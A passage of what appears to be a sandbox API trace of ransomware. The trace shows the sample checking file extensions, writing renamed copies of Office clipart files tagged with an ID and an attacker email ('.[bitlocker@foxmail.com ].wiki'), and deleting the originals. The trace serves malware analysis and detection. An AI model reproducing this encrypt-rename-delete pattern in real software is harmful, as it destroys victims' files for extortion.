(lpString=".doc") returned 4 [0186.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString=".docx") returned 5 [0186.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.119] lstrlenW (lpString=".pdf") returned 4 [0186.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString=".xls") returned 4 [0186.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.119] lstrlenW (lpString=".xlsx") returned 5 [0186.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.119] lstrlenW (lpString=".ppt") returned 4 [0186.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.119] lstrlenW (lpString=".zip") returned 4 [0186.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.119] lstrlenW (lpString=".rar") returned 4 [0186.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString=".bz2") returned 4 [0186.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString=".7z") returned 3 [0186.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.119] lstrlenW (lpString=".dbf") returned 4 [0186.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.119] lstrlenW (lpString=".1cd") returned 4 [0186.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.119] lstrlenW (lpString=".jpg") returned 4 [0186.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.120] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.120] lstrlenW (lpString="BS00438_.WMF") returned 12 [0186.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.120] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1212) returned 1 [0186.120] CloseHandle (hObject=0x1cc) returned 1 [0186.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0186.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.120] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.121] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0186.121] GetLastError () returned 0x0 [0186.121] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4bc, lpOverlapped=0x0) returned 1 [0186.132] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0186.132] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.133] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.133] SetEndOfFile (hFile=0x1c0) returned 1 [0186.133] CloseHandle (hObject=0x1c0) returned 1 [0186.133] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.133] SetEndOfFile (hFile=0x1cc) returned 1 [0186.134] CloseHandle (hObject=0x1cc) returned 1 [0186.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0186.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.134] lstrlenW (lpString=".doc") returned 4 [0186.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.134] lstrlenW (lpString=".docx") returned 5 [0186.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.134] lstrlenW (lpString=".pdf") returned 4 [0186.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.134] lstrlenW (lpString=".xls") returned 4 [0186.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.134] lstrlenW (lpString=".xlsx") returned 5 [0186.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.134] lstrlenW (lpString=".ppt") returned 4 [0186.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.134] lstrlenW (lpString=".zip") returned 4 [0186.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.293] lstrlenW (lpString=".rar") returned 4 [0186.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.300] lstrlenW (lpString=".bz2") returned 4 [0186.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.300] lstrlenW (lpString=".7z") returned 3 [0186.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.307] lstrlenW (lpString=".dbf") returned 4 [0186.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.315] lstrlenW (lpString=".1cd") returned 4 [0186.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.322] lstrlenW (lpString=".jpg") returned 4 [0186.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.322] lstrlenW (lpString=".doc") returned 4 [0186.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString=".docx") returned 5 [0186.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.322] lstrlenW (lpString=".pdf") returned 4 [0186.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString=".xls") returned 4 [0186.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.322] lstrlenW (lpString=".xlsx") returned 5 [0186.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.322] lstrlenW (lpString=".ppt") returned 4 [0186.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.322] lstrlenW (lpString=".zip") returned 4 [0186.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.322] lstrlenW (lpString=".rar") returned 4 [0186.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString=".bz2") returned 4 [0186.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString=".7z") returned 3 [0186.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.322] lstrlenW (lpString=".dbf") returned 4 [0186.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.323] lstrlenW (lpString=".1cd") returned 4 [0186.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0186.323] lstrlenW (lpString=".jpg") returned 4 [0186.323] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.323] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.323] lstrlenW (lpString="BS01635_.WMF") returned 12 [0186.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0186.323] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14996) returned 1 [0186.323] CloseHandle (hObject=0x204) returned 1 [0186.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0186.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0186.324] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.324] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0186.324] GetLastError () returned 0x0 [0186.324] ReadFile (in: hFile=0x204, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3a94, lpOverlapped=0x0) returned 1 [0186.326] WriteFile (in: hFile=0x208, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0186.327] ReadFile (in: hFile=0x204, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.327] WriteFile (in: hFile=0x208, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.327] SetEndOfFile (hFile=0x208) returned 1 [0186.327] CloseHandle (hObject=0x208) returned 1 [0186.327] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.328] SetEndOfFile (hFile=0x204) returned 1 [0186.328] CloseHandle (hObject=0x204) returned 1 [0186.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0186.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.329] lstrlenW (lpString=".doc") returned 4 [0186.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.329] lstrlenW (lpString=".docx") returned 5 [0186.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.329] lstrlenW (lpString=".pdf") returned 4 [0186.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.329] lstrlenW (lpString=".xls") returned 4 [0186.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.329] lstrlenW (lpString=".xlsx") returned 5 [0186.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.329] lstrlenW (lpString=".ppt") returned 4 [0186.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.329] lstrlenW (lpString=".zip") returned 4 [0186.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.329] lstrlenW (lpString=".rar") returned 4 [0186.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.329] lstrlenW (lpString=".bz2") returned 4 [0186.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.329] lstrlenW (lpString=".7z") returned 3 [0186.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.330] lstrlenW (lpString=".dbf") returned 4 [0186.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.330] lstrlenW (lpString=".1cd") returned 4 [0186.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.330] lstrlenW (lpString=".jpg") returned 4 [0186.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.330] lstrlenW (lpString=".doc") returned 4 [0186.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString=".docx") returned 5 [0186.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.330] lstrlenW (lpString=".pdf") returned 4 [0186.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString=".xls") returned 4 [0186.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.330] lstrlenW (lpString=".xlsx") returned 5 [0186.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.330] lstrlenW (lpString=".ppt") returned 4 [0186.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.330] lstrlenW (lpString=".zip") returned 4 [0186.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.330] lstrlenW (lpString=".rar") returned 4 [0186.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString=".bz2") returned 4 [0186.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.330] lstrlenW (lpString=".7z") returned 3 [0186.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.331] lstrlenW (lpString=".dbf") returned 4 [0186.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.331] lstrlenW (lpString=".1cd") returned 4 [0186.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0186.331] lstrlenW (lpString=".jpg") returned 4 [0186.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.331] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.331] lstrlenW (lpString="BS01636_.WMF") returned 12 [0186.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0186.331] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1874) returned 1 [0186.331] CloseHandle (hObject=0x204) returned 1 [0186.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0186.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0186.332] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.332] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0186.332] GetLastError () returned 0x0 [0186.332] ReadFile (in: hFile=0x204, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x752, lpOverlapped=0x0) returned 1 [0186.334] WriteFile (in: hFile=0x208, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x760, lpOverlapped=0x0) returned 1 [0186.335] ReadFile (in: hFile=0x204, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.335] WriteFile (in: hFile=0x208, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.335] SetEndOfFile (hFile=0x208) returned 1 [0186.335] CloseHandle (hObject=0x208) returned 1 [0186.337] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.337] SetEndOfFile (hFile=0x204) returned 1 [0186.338] CloseHandle (hObject=0x204) returned 1 [0186.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0186.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.338] lstrlenW (lpString=".doc") returned 4 [0186.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.338] lstrlenW (lpString=".docx") returned 5 [0186.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.338] lstrlenW (lpString=".pdf") returned 4 [0186.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.338] lstrlenW (lpString=".xls") returned 4 [0186.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.338] lstrlenW (lpString=".xlsx") returned 5 [0186.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.338] lstrlenW (lpString=".ppt") returned 4 [0186.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.339] lstrlenW (lpString=".zip") returned 4 [0186.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.339] lstrlenW (lpString=".rar") returned 4 [0186.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString=".bz2") returned 4 [0186.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString=".7z") returned 3 [0186.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.339] lstrlenW (lpString=".dbf") returned 4 [0186.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.339] lstrlenW (lpString=".1cd") returned 4 [0186.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.339] lstrlenW (lpString=".jpg") returned 4 [0186.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.339] lstrlenW (lpString=".doc") returned 4 [0186.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString=".docx") returned 5 [0186.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.339] lstrlenW (lpString=".pdf") returned 4 [0186.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.339] lstrlenW (lpString=".xls") returned 4 [0186.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.339] lstrlenW (lpString=".xlsx") returned 5 [0186.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.340] lstrlenW (lpString=".ppt") returned 4 [0186.340] 